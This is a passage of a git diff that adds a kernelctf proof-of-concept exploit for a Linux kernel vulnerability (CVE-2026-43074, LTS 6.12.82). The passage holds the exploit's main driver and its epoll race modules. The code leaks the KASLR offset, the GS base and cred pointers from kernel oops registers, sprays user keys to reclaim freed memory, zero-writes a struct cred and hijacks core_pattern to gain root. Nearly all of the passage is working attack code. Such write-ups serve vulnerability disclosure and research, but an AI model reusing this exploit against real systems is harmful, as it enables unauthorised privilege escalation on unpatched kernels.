reclaim payload. +void initialize_exploit(ExploitState& state, int argc, char** argv) { + // Pin the main thread to the same CPU as adder_thread. adder_thread leaks the + // per-CPU GS base, and the later fork path only uses that value correctly if it + // runs on the same CPU. + pin_thread_to_cpu(kAdderCpu); + + state.options.parse(argc, argv); + if (state.options.runtime.shell_mode) { + setup_coredump_helper_fd(kShellModeFd, state.core_trap); + } else { + setup_coredump_helper_fd(kFastModeFd, state.core_trap); + } + + bool kernel_image_after_4gb = kernel_after_second_pci(); + if (kernel_image_after_4gb) { + fprintf(stderr, + "[WARNING] kernel image offset > 4GB, switching to unmovable nperm spray\n"); + } + + state.options.runtime.use_unmovable_nperm = kernel_image_after_4gb; + state.options.layout.load_from_xdk(); + if (state.options.offsets.nperm_addr_set) { + state.options.layout.nperm_addr = state.options.offsets.nperm_addr; + } + state.epoll_ratc.emplace(make_epoll_ratc_settings(state.options.phase)); + + if (!state.options.offsets.image_offset_set) { + if (state.options.runtime.nokaslr) { + state.options.offsets.image_offset = 0; + } else { + KaslrOffsetResolver resolver({.kernel_text_base = state.options.layout.kernel_text_base, + .scan_range = KaslrOffsetResolver::default_scan_range()}); + state.options.offsets.image_offset = resolver.leak_image_offset(); + } + state.options.offsets.image_offset_set = true; + } + + fprintf(stderr, + "[config] image_offset=0x%lx nokaslr=%d " + "nperm_addr=0x%lx spray_size_kb=%zu slow_nperm=%d use_unmovable_nperm=%d\n", + state.options.offsets.image_offset, state.options.runtime.nokaslr ? 1 : 0, + state.options.layout.nperm_addr, state.options.spray.size_kb, + state.options.spray.slow_nperm, state.options.runtime.use_unmovable_nperm ? 1 : 0); + + state.nperm_stage_runner.emplace(state.options); + setup_spray_payload(state); + state.race_timer.reset(); +} + +// @step(2) +// Step 2: first nperm stage plus stage1 epoll race to leak GS. +void leak_gs_base(ExploitState& state) { + while (1) { + Stopwatch stage_timer; + + state.nperm_stage_runner->run_stage(0, 0); + finish_timer("nperm1", stage_timer); + + stage_timer.reset(); + state.epoll_ratc->run_phase("stage1", {.total_rounds = state.options.stages.stage1_rounds, + .analyze = state.options.runtime.analyze}); + finish_timer("epoll1", stage_timer); + + if (state.options.runtime.analyze) { + exit(0); + } + + stage_timer.reset(); + std::optional registers = + state.klog_reader.read_oops_registers(kStage1Registers); + if (!registers) { + fprintf(stderr, "failed to read kernel log or extract requested registers\n"); + continue; + } + + state.leaked_gs = registers->value(KernelRegister::Gs).value(); + + fprintf(stderr, "[kmsg] GS=0x%016lx\n", state.leaked_gs); + finish_timer("leak_registers0", stage_timer); + return; + } +} + +// @step(3) +// Step 3: per-iteration cred_jar grooming and stage1.5 cred leak. +void leak_cred_rbx_until_valid(ExploitState& state) { + while (1) { + Stopwatch stage_timer; + + state.nperm_stage_runner->run_stage(0, state.leaked_gs); + finish_timer("nperm1.5", stage_timer); + + fprintf(stderr, "[main] starting stage1.5 to leak RBX/cred using GS=0x%016lx\n", + state.leaked_gs); + stage_timer.reset(); + state.epoll_ratc->run_phase("stage1.5", {.total_rounds = state.options.stages.stage2_rounds, + .analyze = state.options.runtime.analyze}); + finish_timer("epoll1.5", stage_timer); + + std::optional registers = + state.klog_reader.read_oops_registers(kStageCredLeakRegisters); + if (!registers) { + fprintf(stderr, "failed to read kernel log or extract requested registers\n"); + continue; + } + + std::optional leaked_rbx_value = registers->value(KernelRegister::Rbx); + if (!leaked_rbx_value) { + fprintf(stderr, "failed to read kernel log or extract requested registers\n"); + continue; + } + state.leaked_rbx = *leaked_rbx_value; + + fprintf(stderr, "[kmsg] leaked RBX=0x%016lx, cred=0x%lx\n", state.leaked_rbx, + state.leaked_rbx + state.options.layout.epitem_fllink_offset); + + if (state.leaked_rbx > state.options.layout.kernel_text_base || + state.leaked_rbx < state.options.layout.phys_base) { + fprintf(stderr, + "[kmsg] leaked RBX=0x%016lx looks like a wrong pointer, which is unexpected\n", + state.leaked_rbx); + + // try to fork some processes to skip the bad cred + for (int index = 0; index < 3; ++index) { + pid_t pid = fork(); + if (pid < 0) { + fprintf(stderr, "[main] fork failed: %s\n", strerror(errno)); + die("fork failed"); + } + if (pid == 0) { + fprintf(stderr, "[main] forked child to skip bad cred, child pid=%d\n", + getpid()); + if (index >= 2) { + exit(0); + } + while (1) { + pause(); + } + } + } + continue; + } + + return; + } +} + +// @step(4) +// Step 4: fork helpers that share the future credential and race on core_pattern. +void spawn_flag_readers(ExploitState& state) { + int cpu_id = sched_getcpu(); + if (cpu_id >= 0) { + fprintf(stderr, "[reader] current CPU ID: %d\n", cpu_id); + } else { + fprintf(stderr, "[reader] failed to get CPU ID: %s\n", strerror(errno)); + } + + int ppid = getpid(); + fprintf(stderr, "[reader] current process ID: %d\n", ppid); + + fprintf(stderr, "[reader] spawning %d flag reader processes\n", state.options.readers.forks); + for (int index = 0; index < state.options.readers.forks; ++index) { + uid_t euid = geteuid(); + if (euid == 0) { + trigger_core_pattern_trap(ppid, state.core_trap); + return; + } + + if (index == kTrackedReaderForkCount) { + pid_t pid = fork(); + if (pid < 0) { + fprintf(stderr, "[reader] fork failed: %s\n", strerror(errno)); + exit(1); + } + if (pid > 0) { + state.flag_readers.track_process(pid); + return; + } + FlagReaderRegistry::make_process_group(); + } else if (index > kTrackedReaderForkCount) { + // @sleep(desc="stagger later reader forks so they do not contend on the same + // core_pattern window") + usleep(DEFAULT_READER_FORK_SLEEP_US); + } + + pid_t pid = fork(); + if (pid < 0) { + fprintf(stderr, "[reader] fork failed: %s\n", strerror(errno)); + continue; + } + if (pid == 0) { + if (index < kTrackedReaderForkCount) { + FlagReaderRegistry::make_process_group(); + } + trigger_core_pattern_trap(ppid, state.core_trap); + } + if (index < kTrackedReaderForkCount) { + state.flag_readers.track_process(pid); + } + } + + trigger_core_pattern_trap(ppid, state.core_trap); +} + +int main(int argc, char** argv) { + // @step(0) + // Re-enter through the coredump helper path after core_pattern hijack. + if (strncmp(argv[0], "/proc/", 6) == 0) { + return handle_coredump_reentry(argv[0]); + } + + ExploitState state; + + state.options.parse(argc, argv); + if (state.options.runtime.vuln_trigger) { + return run_vuln_trigger_mode(); + } + + // @step(1) + // Parse runtime options, resolve layout, initialize helpers, and build the + // initial reclaim spray payload. + initialize_exploit(state, argc, argv); + if (state.epoll_ratc->use_ratc()) { + state.epoll_ratc->setup_runtime(); + } + + // @step(2) + // Make repeated oopses survivable and leak the CPU-1 GS base. + leak_gs_base(state); + + while (1) { + Stopwatch stage_timer; + + // fork some processes to fill the freelist in cred_jar + spawn_and_release_children(kCredPrepareForks); + state.flag_readers.cleanup(); + + // @step(3) + // Reuse the same primitive to leak the next cred allocation. + leak_cred_rbx_until_valid(state); + + // @step(4) + // Try to get the cred that we just leaked. + spawn_flag_readers(state); + finish_timer("read_log_and_fork", stage_timer); + + // @step(5) + // Rebuild the payload so the final zero-write targets struct cred. + stage_timer.reset(); + state.nperm_stage_runner->run_stage(state.leaked_rbx, 0); + finish_timer("nperm2", stage_timer); + // Run the final epoll phase that performs the overwrite. + stage_timer.reset(); + state.epoll_ratc->run_phase("stage2", {.total_rounds = state.options.stages.stage2_rounds, + .analyze = state.options.runtime.analyze}); + finish_timer("epoll2", stage_timer); + + // @step(6) + // Give the helpers time to win the post-exploit race, then retry if needed. + finish_timer("total_race", state.race_timer); + fprintf(stderr, + "[main] stage complete, waiting for 5 seconds before retrying if not successful\n"); + // @sleep(desc="give the core-pattern helpers time to claim the rewritten cred") + sleep(kFlagReaderRetryDelaySec); + } + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/epoll_phase.h b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/epoll_phase.h new file mode 100644 index 000000000..af39a36a3 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/epoll_phase.h @@ -0,0 +1,484 @@ +#ifndef EXPLOIT_H +#define EXPLOIT_H + +#include "module_context.h" +#include "shared_core.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +struct EpollSampleSummary { + size_t count = 0; + uint64_t min_ns = 0; + uint64_t max_ns = 0; + uint64_t average_ns = 0; + uint64_t median_ns = 0; + uint64_t filtered_average_ns = 0; + uint64_t filtered_median_ns = 0; +}; + +class EpollSamples { + public: + void reserve(size_t capacity) { samples_.reserve(capacity); } + + void record(uint64_t value_ns) { samples_.push_back(value_ns); } + + bool empty() const { return samples_.empty(); } + + EpollSampleSummary summarize() const { + EpollSampleSummary summary; + + if (samples_.empty()) { + return summary; + } + + std::vector sorted = samples_; + std::sort(sorted.begin(), sorted.end()); + const size_t middle = sorted.size() / 2; + + summary.count = sorted.size(); + summary.min_ns = sorted.front(); + summary.max_ns = sorted.back(); + summary.average_ns = std::accumulate(sorted.begin(), sorted.end(), 0ull) / sorted.size(); + if ((sorted.size() & 1u) == 0) { + summary.median_ns = (sorted[middle - 1] + sorted[middle]) / 2u; + } else { + summary.median_ns = sorted[middle]; + } + + auto filtered = std::span(sorted).first(filtered_sample_count(sorted, summary.median_ns)); + const size_t filtered_middle = filtered.size() / 2; + + summary.filtered_average_ns = + std::accumulate(filtered.begin(), filtered.end(), 0ull) / filtered.size(); + if ((filtered.size() & 1u) == 0) { + summary.filtered_median_ns = + (filtered[filtered_middle - 1] + filtered[filtered_middle]) / 2u; + } else { + summary.filtered_median_ns = filtered[filtered_middle]; + } + return summary; + } + + private: + static size_t filtered_sample_count(std::span sorted, + uint64_t median_ns, + uint64_t ratio = 3) { + const uint64_t threshold_ns = median_ns * ratio; + return std::max( + 1, std::upper_bound(sorted.begin(), sorted.end(), threshold_ns) - sorted.begin()); + } + + std::vector samples_{}; +}; + +struct EpollPhaseHooks { + std::function before_parent_close{}; + std::function before_first_add{}; +}; + +struct EpollPhaseConfig { + uint64_t total_rounds = 0; + size_t tries = DEFAULT_TRIES; + bool skip_spray_fill = false; +}; + +struct EpollPhaseRunStats { + EpollSamples parent_close_offset_ns{}; + EpollSamples first_add_start_offset_ns{}; + EpollSamples first_add_finish_offset_ns{}; + EpollSamples all_add_finish_offset_ns{}; + + uint64_t rounds_done = 0; + uint64_t duration_ns = 0; + bool round_timeout_triggered = false; + bool adder_normal_exit = false; + + void reserve(size_t capacity) { + parent_close_offset_ns.reserve(capacity); + first_add_start_offset_ns.reserve(capacity); + first_add_finish_offset_ns.reserve(capacity); + all_add_finish_offset_ns.reserve(capacity); + } +}; + +class EpollPhaseRunner { + public: + EpollPhaseRunner() = default; + + EpollPhaseRunner(const EpollPhaseRunner&) = delete; + EpollPhaseRunner& operator=(const EpollPhaseRunner&) = delete; + EpollPhaseRunner(EpollPhaseRunner&&) = delete; + EpollPhaseRunner& operator=(EpollPhaseRunner&&) = delete; + + void initialize_spray_payload(size_t address) { + std::fill(spray_payload_words_.begin(), spray_payload_words_.end(), address); + } + + void run_window(const char* label, + const EpollPhaseConfig& config, + const EpollPhaseHooks& hooks, + EpollPhaseRunStats& run_stats) { + run_stats = {}; + run_stats.reserve(config.total_rounds); + ActiveWindow window(label, config, hooks, run_stats); + Stopwatch window_timer; + std::thread parent; + std::thread adder; + + phase_state_ = kPhaseRunning; + window.adder_normal_exit.store(false, std::memory_order_relaxed); + PhaseAlarm alarm(&phase_state_); + + window.shared_ep = FATAL_IF_NEG(epoll_create1(EPOLL_CLOEXEC), "epoll_create1(shared)"); + + fprintf(stderr, "[epoll:%s] [=] rounds=%lu add tries=%zu\n", label, + window.config.total_rounds, window.config.tries); + + parent = std::thread([&] { race_parent_thread(window); }); + adder = std::thread([&] { race_adder_thread(window); }); + + adder.join(); + fprintf(stderr, "[epoll:%s] adder thread joined, rounds=%lu\n", label, + run_stats.rounds_done); + + if (!window.adder_normal_exit.load(std::memory_order_relaxed)) { + request_stop(kPhaseStopped); + window.barrier.cancel(); + } + parent.join(); + + run_stats.duration_ns = window_timer.elapsed_ns(); + run_stats.round_timeout_triggered = phase_state_ == kPhaseTimedOut; + run_stats.adder_normal_exit = window.adder_normal_exit.load(std::memory_order_relaxed); + + close(window.shared_ep); + } + + private: + static constexpr size_t kSprayKeyPayloadWordCount = 168 / sizeof(size_t); + // A user process can usually allocate roughly 200 keys here, but reclaim gets + // noticeably slower near the limit. 103 is the empirically stable point where + // the next round can start immediately without waiting for extra recycling. + static constexpr int kSprayTotal = 103; + + static constexpr sig_atomic_t kPhaseRunning = 0; + static constexpr sig_atomic_t kPhaseStopped = 1; + static constexpr sig_atomic_t kPhaseTimedOut = 2; + static constexpr auto kBarrierPollInterval = std::chrono::milliseconds(100); + static constexpr uint64_t kProgressReportIntervalNs = 5000000000ull; + + static void handle_phase_alarm(int signo); + + class PhaseAlarm { + public: + explicit PhaseAlarm(volatile sig_atomic_t* phase_state) { + struct sigaction action = {}; + struct sigevent sev = {}; + struct itimerspec its = {}; + + active_phase_state_ = phase_state; + sigemptyset(&action.sa_mask); + action.sa_handler = handle_phase_alarm; + FATAL_IF_NONZERO(sigaction(SIGALRM, &action, &previous_action_), "sigaction(SIGALRM)"); + + sev.sigev_notify = SIGEV_SIGNAL; + sev.sigev_signo = SIGALRM; + FATAL_IF_NONZERO(timer_create(CLOCK_MONOTONIC, &sev, &timer_), + "timer_create(phase window)"); + + its.it_value.tv_sec = DEFAULT_PHASE_ROUND_TIMEOUT_SEC; + FATAL_IF_NONZERO(timer_settime(timer_, 0, &its, nullptr), + "timer_settime(phase window arm)"); + } + + ~PhaseAlarm() { + struct itimerspec its = {}; + + FATAL_IF_NONZERO(timer_settime(timer_, 0, &its, nullptr), + "timer_settime(phase window disarm)"); + FATAL_IF_NONZERO(timer_delete(timer_), "timer_delete(phase window)"); + FATAL_IF_NONZERO(sigaction(SIGALRM, &previous_action_, nullptr), + "sigaction(SIGALRM restore)"); + active_phase_state_ = nullptr; + } + + PhaseAlarm(const PhaseAlarm&) = delete; + PhaseAlarm& operator=(const PhaseAlarm&) = delete; + + private: + timer_t timer_{}; + struct sigaction previous_action_ = {}; + }; + + class CancelableBarrier { + public: + CancelableBarrier() = default; + + CancelableBarrier(const CancelableBarrier&) = delete; + CancelableBarrier& operator=(const CancelableBarrier&) = delete; + + template + bool arrive_and_wait(StopRequested&& stop_requested) { + std::unique_lock lock(mutex_); + if (stop_requested()) { + cancel_locked(); + return false; + } + + const uint32_t generation = generation_; + if (++arrived_ == 2) { + cancel_locked(); + return true; + } + + while (generation == generation_ && !stop_requested()) { + // Poll periodically so stop requests can still break the barrier if + // the peer thread never reaches the synchronization point. + cond_.wait_for(lock, kBarrierPollInterval); + } + + if (generation == generation_ && stop_requested()) { + cancel_locked(); + } + return !stop_requested(); + } + + void cancel() { + std::lock_guard lock(mutex_); + cancel_locked(); + } + + private: + void cancel_locked() { + arrived_ = 0; + generation_++; + cond_.notify_all(); + } + + std::mutex mutex_{}; + std::condition_variable cond_{}; + uint32_t arrived_ = 0; + uint32_t generation_ = 0; + }; + + struct ActiveWindow { + ActiveWindow(const char* window_label, + const EpollPhaseConfig& window_config, + const EpollPhaseHooks& window_hooks, + EpollPhaseRunStats& window_run_stats) + : label(window_label), + config(window_config), + hooks(window_hooks), + run_stats(window_run_stats) {} + + CancelableBarrier barrier{}; + int shared_ep = -1; + std::atomic adder_normal_exit{false}; + const char* label; + const EpollPhaseConfig& config; + const EpollPhaseHooks& hooks; + EpollPhaseRunStats& run_stats; + }; + + bool phase_stop_requested() const { return phase_state_ != kPhaseRunning; } + + void request_stop(sig_atomic_t stop_reason) { + if (phase_state_ == kPhaseRunning) { + phase_state_ = stop_reason; + } + } + + bool race_wait_for_peer(ActiveWindow& window) { + return window.barrier.arrive_and_wait([this]() { return phase_stop_requested(); }); + } + + /// spray + static int spray_add_user_key(const char* description, + const void* payload, + size_t payload_len, + int keyring) { + return syscall(__NR_add_key, "user", description, payload, payload_len, keyring); + } + void spray_fill_one_round() { + for (int index = 0; index < kSprayTotal; ++index) { + if (spray_add_user_key(spray_description_.data(), spray_payload_words_.data(), + sizeof(spray_payload_words_), KEY_SPEC_PROCESS_KEYRING) < 0) { + break; + } + } + } + static void spray_clear_process_keyring() { + (void)syscall(__NR_keyctl, KEYCTL_CLEAR, KEY_SPEC_PROCESS_KEYRING, 0, 0, 0); + } + + void race_parent_thread(ActiveWindow& window) { + struct epoll_event shared_ep_event = {}; + uint64_t round = 0; + auto& stats = window.run_stats; + auto& close_samples = stats.parent_close_offset_ns; + const auto& config = window.config; + const auto& hooks = window.hooks; + const int shared_ep = window.shared_ep; + + pin_thread_to_cpu(kParentCpu); + shared_ep_event.events = EPOLLIN; + + while (!phase_stop_requested() && + (config.total_rounds == 0 || round < config.total_rounds)) { + int parent_ep = FATAL_IF_NEG(epoll_create1(EPOLL_CLOEXEC), "epoll_create1(parent)"); + uint64_t sync_exit_ns; + uint64_t close_ns; + + spray_clear_process_keyring(); + + FATAL_IF_NEG(epoll_ctl(parent_ep, EPOLL_CTL_ADD, shared_ep, &shared_ep_event), + "epoll_ctl(parent,shared)"); + + if (!race_wait_for_peer(window)) { + close(parent_ep); + break; + } + sync_exit_ns = MonotonicClock::now_ns(); + + if (hooks.before_parent_close) { + hooks.before_parent_close(round); + } + + close(parent_ep); + close_ns = MonotonicClock::now_ns(); + close_samples.record(close_ns - sync_exit_ns); + + if (!config.skip_spray_fill) { + spray_fill_one_round(); + } + + if (!race_wait_for_peer(window)) { + break; + } + round++; + } + + spray_clear_process_keyring(); + } + + void race_adder_thread(ActiveWindow& window) { + struct epoll_event leaf_ep_event = {}; + std::vector leaf_epolls(window.config.tries); + uint64_t round = 0; + uint64_t last_progress_ns = MonotonicClock::now_ns(); + bool exited_normally = false; + auto& stats = window.run_stats; + + auto& first_add_start_samples = stats.first_add_start_offset_ns; + auto& first_add_finish_samples = stats.first_add_finish_offset_ns; + auto& all_add_finish_samples = stats.all_add_finish_offset_ns; + + auto& adder_normal_exit = window.adder_normal_exit; + const auto& config = window.config; + const auto& hooks = window.hooks; + const char* label = window.label; + const int shared_ep = window.shared_ep; + + pin_thread_to_cpu(kAdderCpu); + for (size_t index = 0; index < config.tries; ++index) { + leaf_epolls[index] = FATAL_IF_NEG(epoll_create1(EPOLL_CLOEXEC), "epoll_create1(leaf)"); + } + + leaf_ep_event.events = EPOLLIN; + + while (!phase_stop_requested() && + (config.total_rounds == 0 || round < config.total_rounds)) { + uint64_t sync_exit_ns; + uint64_t now_ns = MonotonicClock::now_ns(); + + if (now_ns - last_progress_ns >= kProgressReportIntervalNs) { + if (config.total_rounds == 0) { + fprintf(stderr, "[epoll:%s] progress rounds_done=%lu remaining=unbounded\n", + label, round); + } else { + uint64_t remaining = 0; + + if (config.total_rounds > round) { + remaining = config.total_rounds - round; + } + fprintf(stderr, "[epoll:%s] progress rounds_done=%lu remaining=%lu/%lu\n", + label, round, remaining, config.total_rounds); + } + last_progress_ns = now_ns; + } + + if (!race_wait_for_peer(window)) { + break; + } + sync_exit_ns = MonotonicClock::now_ns(); + + if (hooks.before_first_add) { + hooks.before_first_add(round); + } + + uint64_t all_add_finish_ns = sync_exit_ns; + for (size_t index = 0; index < config.tries; ++index) { + const uint64_t add_start_ns = MonotonicClock::now_ns(); + (void)epoll_ctl(shared_ep, EPOLL_CTL_ADD, leaf_epolls[index], &leaf_ep_event); + const uint64_t add_finish_ns = MonotonicClock::now_ns(); + + all_add_finish_ns = add_finish_ns; + + if (index == 0) { + const uint64_t start_offset_ns = add_start_ns - sync_exit_ns; + const uint64_t finish_offset_ns = add_finish_ns - sync_exit_ns; + + first_add_start_samples.record(start_offset_ns); + first_add_finish_samples.record(finish_offset_ns); + } + } + all_add_finish_samples.record(all_add_finish_ns - sync_exit_ns); + + for (int leaf_ep : leaf_epolls) { + (void)epoll_ctl(shared_ep, EPOLL_CTL_DEL, leaf_ep, nullptr); + } + + if (!race_wait_for_peer(window)) { + break; + } + stats.rounds_done++; + round++; + } + + for (int leaf_ep : leaf_epolls) { + close(leaf_ep); + } + if (config.total_rounds != 0 && round == config.total_rounds) { + exited_normally = true; + } + adder_normal_exit.store(exited_normally, std::memory_order_relaxed); + } + + volatile sig_atomic_t phase_state_ = kPhaseRunning; + inline static volatile sig_atomic_t* active_phase_state_ = nullptr; + std::array spray_payload_words_{}; + std::array spray_description_{'a', '\0'}; +}; + +inline void EpollPhaseRunner::handle_phase_alarm(int signo) { + if (signo != SIGALRM) { + return; + } + + *active_phase_state_ = kPhaseTimedOut; +} + +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/epoll_ratc.cpp b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/epoll_ratc.cpp new file mode 100644 index 000000000..d75a399b2 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/epoll_ratc.cpp @@ -0,0 +1,849 @@ +#include "epoll_ratc.h" + +#include +#include + +namespace { + +constexpr uint64_t k_ratc_adaptive_scale_max_pct = 200u; +constexpr int64_t k_ratc_adaptive_rescale_confirm_pct = 75; +constexpr int64_t k_ratc_adaptive_timeout_min_after_first_add_ns = 1000; +constexpr int64_t k_ratc_adaptive_timeout_after_first_add_divisor = 20; +constexpr int64_t k_ratc_adaptive_timeout_max_step_pct = 25; +constexpr int64_t k_ratc_adaptive_timeout_min_step_ns = 1000; +constexpr int64_t k_ratc_adaptive_target_first_add_start_ns = 2000; +constexpr int64_t k_ratc_adaptive_rescale_threshold_multiplier = 4; + +} // namespace + +EpollRatcController::EpollRatcController(EpollRatcSettings settings) + : settings_(std::move(settings)) { + adaptive_state_.current_parent_busy_wait_ns = settings_.parent_busy_wait_ns; +} + +EpollRatcController::~EpollRatcController() = default; + +void EpollRatcController::initialize_spray_payload(size_t address) { + phase_runner_.initialize_spray_payload(address); +} + +void EpollRatcController::setup_runtime() { + if (!use_ratc()) { + return; + } + ratc_runtime_.setup(); +} + +bool EpollRatcController::use_ratc() const { + return settings_.use_ratc != 0; +} + +EpollPhaseConfig EpollRatcController::make_phase_config(uint64_t total_rounds) const { + return { + .total_rounds = total_rounds, + .tries = settings_.tries, + .skip_spray_fill = false, + }; +} + +std::vector EpollRatcController::make_timeout_schedule(int64_t timeout_min_ns, + int64_t timeout_max_ns, + int64_t timeout_step_ns) { + std::vector timeouts; + + if (timeout_step_ns <= 0) { + timeout_step_ns = 1; + } + if (timeout_min_ns > timeout_max_ns) { + std::swap(timeout_min_ns, timeout_max_ns); + } + + for (int64_t timeout = timeout_min_ns; timeout < timeout_max_ns; timeout += timeout_step_ns) { + timeouts.push_back(timeout); + } + timeouts.push_back(timeout_max_ns); + return timeouts; +} + +int64_t EpollRatcController::timeout_for_round(const std::vector& timeouts, + uint64_t round) { + return timeouts[round % timeouts.size()]; +} + +inline void epoll_phase_busy_wait_ns(int64_t ns) { + MonotonicClock::busy_wait_ns(ns); +} + +EpollPhaseHooks EpollRatcController::make_phase_hooks(const PhaseSchedule& schedule) { + return { + .before_parent_close = [parent_busy_wait_ns = schedule.parent_busy_wait_ns]( + uint64_t) { epoll_phase_busy_wait_ns(parent_busy_wait_ns); }, + .before_first_add = + [runtime = schedule.ratc_runtime, timeouts = schedule.timeouts](uint64_t round) { + if (runtime != nullptr) { + runtime->arm_timer(timeout_for_round(*timeouts, round)); + } + }, + }; +} + +void EpollRatcController::set_fixed_timeout(std::vector& timeouts, int64_t timeout_ns) { + if (timeout_ns < 0) { + timeout_ns = 0; + } + timeouts = {timeout_ns}; +} + +void EpollRatcController::set_timeout_window(std::vector& timeouts, + int64_t timeout_center_ns, + int64_t timeout_delta_ns) { + int64_t timeout_min_ns = timeout_center_ns - timeout_delta_ns; + + if (timeout_min_ns < 0) { + timeout_min_ns = 0; + } + + timeouts = make_timeout_schedule(timeout_min_ns, timeout_center_ns + timeout_delta_ns, + std::max(1, timeout_delta_ns / 3)); +} + +void EpollRatcController::prepare_analysis_window(std::vector& timeouts) { + set_fixed_timeout(timeouts, timeouts.front()); +} + +int64_t EpollRatcController::filtered_median_ns(const EpollSamples& samples) { + return (int64_t)samples.summarize().filtered_median_ns; +} + +int64_t EpollRatcController::filtered_average_ns(const EpollSamples& samples) { + return (int64_t)samples.summarize().filtered_average_ns; +} + +int64_t EpollRatcController::first_add_med_ns(const EpollPhaseRunStats& run_stats) { + return filtered_median_ns(run_stats.first_add_start_offset_ns); +} + +int64_t EpollRatcController::first_add_finish_med_ns(const EpollPhaseRunStats& run_stats) { + return filtered_median_ns(run_stats.first_add_finish_offset_ns); +} + +int64_t EpollRatcController::all_add_finish_med_ns(const EpollPhaseRunStats& run_stats) { + return filtered_median_ns(run_stats.all_add_finish_offset_ns); +} + +int64_t EpollRatcController::parent_close_med_ns(const EpollPhaseRunStats& run_stats) { + return filtered_median_ns(run_stats.parent_close_offset_ns); +} + +int64_t EpollRatcController::first_add_delay_ns(const EpollPhaseRunStats& run_stats, + int64_t baseline_first_add_med_ns) { + const int64_t first_add_ns = first_add_med_ns(run_stats); + + if (baseline_first_add_med_ns <= 0 || first_add_ns <= 0) { + return 0; + } + return first_add_ns - baseline_first_add_med_ns; +} + +int64_t EpollRatcController::timeout_target_in_syscall_ns(const EpollPhaseRunStats& run_stats) { + int64_t first_add_start_ns = first_add_med_ns(run_stats); + int64_t first_add_finish_ns = first_add_finish_med_ns(run_stats); + + if (first_add_start_ns <= 0) { + return 0; + } + if (first_add_finish_ns < first_add_start_ns) { + first_add_finish_ns = first_add_start_ns; + } + + return first_add_start_ns + ((first_add_finish_ns - first_add_start_ns) / 2); +} + +bool EpollRatcController::should_rescale_ratc(int64_t stable_first_add_start_ns, + uint64_t* next_scale_pct_out) { + const int64_t rescale_threshold_ns = + k_ratc_adaptive_target_first_add_start_ns * k_ratc_adaptive_rescale_threshold_multiplier; + uint64_t next_scale_pct; + + if (stable_first_add_start_ns <= rescale_threshold_ns) { + return false; + } + + next_scale_pct = 100u + (uint64_t)((stable_first_add_start_ns * 10) / + k_ratc_adaptive_target_first_add_start_ns); + if (next_scale_pct > k_ratc_adaptive_scale_max_pct) { + next_scale_pct = k_ratc_adaptive_scale_max_pct; + } + if (next_scale_pct_out != nullptr) { + *next_scale_pct_out = next_scale_pct; + } + return true; +} + +int64_t EpollRatcController::timeout_after_first_add_guard_ns(int64_t first_add_start_ns) { + int64_t guard_ns = first_add_start_ns / k_ratc_adaptive_timeout_after_first_add_divisor; + + if (guard_ns < k_ratc_adaptive_timeout_min_after_first_add_ns) { + guard_ns = k_ratc_adaptive_timeout_min_after_first_add_ns; + } + if (guard_ns < DEFAULT_ADAPTIVE_TIMEOUT_LATER_STEP_NS) { + guard_ns = DEFAULT_ADAPTIVE_TIMEOUT_LATER_STEP_NS; + } + return guard_ns; +} + +int64_t EpollRatcController::timeout_with_first_add_guard(int64_t timeout_target_ns, + int64_t first_add_start_ns) { + int64_t guarded_min_ns; + int64_t min_center_ns; + int64_t race_min_pct = 100 - DEFAULT_ADAPTIVE_TIMEOUT_RACE_RANGE_PCT; + + if (timeout_target_ns <= 0 || first_add_start_ns <= 0 || race_min_pct <= 0) { + return timeout_target_ns; + } + + guarded_min_ns = first_add_start_ns + timeout_after_first_add_guard_ns(first_add_start_ns); + min_center_ns = ((guarded_min_ns * 100LL) + race_min_pct - 1) / race_min_pct; + if (timeout_target_ns < min_center_ns) { + timeout_target_ns = min_center_ns; + } + return timeout_target_ns; +} + +int64_t EpollRatcController::limit_timeout_step(int64_t current_timeout_ns, + int64_t target_timeout_ns) { + int64_t max_step_ns; + int64_t delta_ns; + + if (target_timeout_ns < 0) { + target_timeout_ns = 0; + } + if (current_timeout_ns <= 0) { + return target_timeout_ns; + } + + max_step_ns = (current_timeout_ns * k_ratc_adaptive_timeout_max_step_pct) / 100LL; + if (max_step_ns < k_ratc_adaptive_timeout_min_step_ns) { + max_step_ns = k_ratc_adaptive_timeout_min_step_ns; + } + + delta_ns = target_timeout_ns - current_timeout_ns; + if (delta_ns > max_step_ns) { + return current_timeout_ns + max_step_ns; + } + if (delta_ns < -max_step_ns) { + return current_timeout_ns - max_step_ns; + } + return target_timeout_ns; +} + +void EpollRatcController::preserve_successful_phase_state(AdaptiveState& state, + const EpollPhaseRunStats& run_stats, + int64_t timeout_center_ns, + int64_t baseline_first_add_med_ns) const { + int64_t first_add_ns = first_add_med_ns(run_stats); + + state.timeout_good_ns = timeout_center_ns; + if (first_add_ns > 0) { + state.good_first_add_med_ns = first_add_ns; + } + if (!state.calibrated) { + state.calibrated = true; + state.baseline_first_add_med_ns = baseline_first_add_med_ns; + } +} + +void EpollRatcController::adjust_parent_gap(AdaptiveState& state, + const EpollPhaseRunStats& run_stats, + const char* label, + uint64_t window_index, + int64_t baseline_first_add_med_ns) const { + int64_t close_ns = parent_close_med_ns(run_stats); + int64_t first_add_ns = first_add_med_ns(run_stats); + int64_t gap_ns = first_add_ns - close_ns; + int64_t delay_ns = baseline_first_add_med_ns > 0 ? first_add_ns - baseline_first_add_med_ns : 0; + int64_t new_parent_busy_wait_ns = state.current_parent_busy_wait_ns; + + if (run_stats.parent_close_offset_ns.empty() || run_stats.first_add_start_offset_ns.empty()) { + fprintf(stderr, "[epoll:%s] adaptive window=%lu skipped due to incomplete timing stats\n", + label, window_index); + return; + } + + if (gap_ns > DEFAULT_ADAPTIVE_MAX_CLOSE_LEAD_NS) { + new_parent_busy_wait_ns += DEFAULT_ADAPTIVE_PARENT_STEP_NS; + } else if (gap_ns < 0) { + if (new_parent_busy_wait_ns > DEFAULT_ADAPTIVE_PARENT_STEP_NS) { + new_parent_busy_wait_ns -= DEFAULT_ADAPTIVE_PARENT_STEP_NS; + } else { + new_parent_busy_wait_ns = 0; + } + } else if (gap_ns <= 